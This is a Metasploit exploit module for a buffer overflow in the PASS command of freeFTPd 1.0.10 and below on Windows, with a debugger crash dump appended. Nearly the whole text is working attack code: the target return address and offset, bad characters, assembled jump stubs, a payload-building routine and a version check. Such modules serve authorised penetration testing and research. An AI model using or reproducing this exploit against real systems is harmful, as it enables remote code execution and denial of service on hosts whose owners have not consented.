freeFTPd PASS Command Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "freeFTPd PASS Command Buffer Overflow",  
'Description' => %q{  
freeFTPd 1.0.10 and below contains an overflow condition that is triggered as  
user-supplied input is not properly validated when handling a specially crafted  
PASS command. This may allow a remote attacker to cause a buffer overflow,  
resulting in a denial of service or allow the execution of arbitrary code.  
  
FreeFTPd must have an account set to authorization anonymous user account.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Wireghoul', # Initial discovery, PoC  
'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module  
],  
'References' =>  
[  
['OSVDB', '96517'],  
['EDB', '27747'],  
['BID', '61905']  
],  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d",  
},  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'Targets' =>  
[  
['freeFTPd 1.0.10 and below on Windows Desktop Version',  
{  
'Ret' => 0x004014bb, # pop edi # pop esi # ret 0x04 [FreeFTPDService.exe]  
'Offset' => 801,  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => "Aug 20 2013",  
'DefaultTarget' => 0))  
  
register_options([  
OptString.new('FTPUSER', [ true, 'The username to authenticate with', 'anonymous' ]),  
  
], self.class)  
  
# We're triggering the bug via the PASS command, no point to have pass as configurable  
# option.  
deregister_options('FTPPASS')  
  
end  
  
def check  
  
connect  
disconnect  
  
# All versions including and above version 1.0 report "220 Hello, I'm freeFTPd 1.0"  
# when banner grabbing.  
if banner =~ /freeFTPd 1\.0/  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
  
end  
end  
  
def exploit  
  
connect  
print_status("Trying target #{target.name} with user #{user()}...")  
  
off = target['Offset'] - 9  
  
bof = payload.encoded  
bof << rand_text(off - payload.encoded.length)  
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string  
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string  
bof << rand_text(2)  
bof << [target.ret].pack('V')  
  
send_user(datastore['FTPUSER'])  
raw_send("PASS #{bof}\r\n")  
disconnect  
  
end  
end  
  
=begin  
(c78.ea4): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=0012b324 ebx=01805f28 ecx=00000019 edx=00000057 esi=4141413d edi=00181e18  
eip=76c23e8d esp=0012b310 ebp=0012b328 iopl=0 nv up ei pl nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206  
OLEAUT32!SysFreeString+0x55:  
76c23e8d ff36 push dword ptr [esi] ds:0023:4141413d=????????  
  
FAULTING_IP:  
OLEAUT32!SysFreeString+55  
76c23e8d ff36 push dword ptr [esi]  
  
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)  
ExceptionAddress: 76c23e8d (OLEAUT32!SysFreeString+0x00000055)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000000  
Parameter[1]: 4141413d  
Attempt to read from address 4141413d  
=end  
`